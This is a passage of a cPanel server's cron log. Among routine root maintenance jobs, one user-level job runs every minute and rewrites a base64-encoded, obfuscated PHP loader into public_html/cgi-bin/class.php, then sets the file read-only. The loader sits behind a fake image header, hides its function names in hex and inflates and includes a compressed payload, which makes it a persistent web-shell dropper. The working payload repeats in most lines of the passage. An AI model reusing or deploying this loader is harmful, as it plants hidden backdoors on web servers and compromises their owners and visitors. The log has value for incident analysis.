NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:35:01 server CROND[11684]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 04:35:01 server CROND[11683]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 04:35:01 server CROND[11685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:35:01 server CROND[11688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:35:01 server CROND[11689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:36:01 server CROND[11829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:37:01 server CROND[12003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:38:01 server CROND[12087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:39:01 server CROND[12168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:39:01 server CROND[12169]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 04:40:01 server CROND[12250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:40:01 server CROND[12251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:40:01 server CROND[12252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 04:40:01 server CROND[12254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:41:01 server CROND[12384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:42:01 server CROND[12562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:42:01 server CROND[12563]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 04:43:01 server CROND[12639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:44:01 server CROND[12709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:45:01 server CROND[12795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:45:01 server CROND[12796]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:45:01 server CROND[12797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:46:01 server CROND[12915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:47:01 server CROND[12996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
